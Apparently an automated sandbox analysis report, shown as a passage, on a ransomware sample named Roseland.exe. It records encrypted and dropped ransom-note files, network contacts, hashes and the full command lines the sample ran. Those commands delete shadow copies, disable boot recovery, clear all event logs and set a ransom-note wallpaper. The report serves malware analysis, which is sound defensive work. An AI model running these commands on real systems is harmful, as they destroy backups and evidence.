| File opened for modification | C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\nl-nl\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS\COMPASS.INF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription1-ppd.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.ja_5.5.0.165303.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_ja_4.4.0.v20140623020002.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Examples\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\FirstRunMailBlurred.layoutdir-LTR.jpg | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Outlook.scale-250.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\VisioStdO365R_SubTest-pl.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre1.8.0_66\lib\management\jmxremote.access | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\etc\visualvm.conf | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\review_poster.jpg | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailSmallTile.scale-400.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\PREVIEW.GIF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial Black-Arial.xml | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL112.XML | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\PlayReadyCdm\_platform_specific\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Roseland.exe
"C:\Users\Admin\AppData\Local\Temp\Roseland.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\SYSTEM32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\SYSTEM32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\850290291.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
| Country | Destination | Domain | Proto |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 40.79.189.58:443 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp |
Files
memory/4932-132-0x0000000000000000-mapping.dmp
memory/4312-134-0x0000000000000000-mapping.dmp
memory/1704-133-0x0000000000000000-mapping.dmp
memory/3500-136-0x0000000000000000-mapping.dmp
memory/2324-135-0x0000000000000000-mapping.dmp
memory/1256-137-0x0000000000000000-mapping.dmp
memory/1204-139-0x0000000000000000-mapping.dmp
memory/2264-140-0x0000000000000000-mapping.dmp
memory/1580-138-0x0000000000000000-mapping.dmp
memory/1988-141-0x0000000000000000-mapping.dmp
memory/1988-142-0x00000257D23F0000-0x00000257D2412000-memory.dmp
memory/1988-143-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
memory/1988-144-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
memory/4968-145-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5caad758326454b5788ec35315c4c304 |
| SHA1 | 3aef8dba8042662a7fcf97e51047dc636b4d4724 |
| SHA256 | 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391 |
| SHA512 | 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693 |
C:\GET_YOUR_FILES_BACK.txt
| MD5 | 6d81ed40ba0a283e5483bfe6a448e9d7 |
| SHA1 | 0c847a5f9df743b13e1aa11b4c24a4309e9a7119 |
| SHA256 | b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d |
| SHA512 | 8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379 |
memory/4968-150-0x00007FF9C1460000-0x00007FF9C1F21000-memory.dmp
memory/2376-149-0x0000000000000000-mapping.dmp
memory/2664-151-0x0000000000000000-mapping.dmp
memory/4968-152-0x00007FF9C1460000-0x00007FF9C1F21000-memory.dmp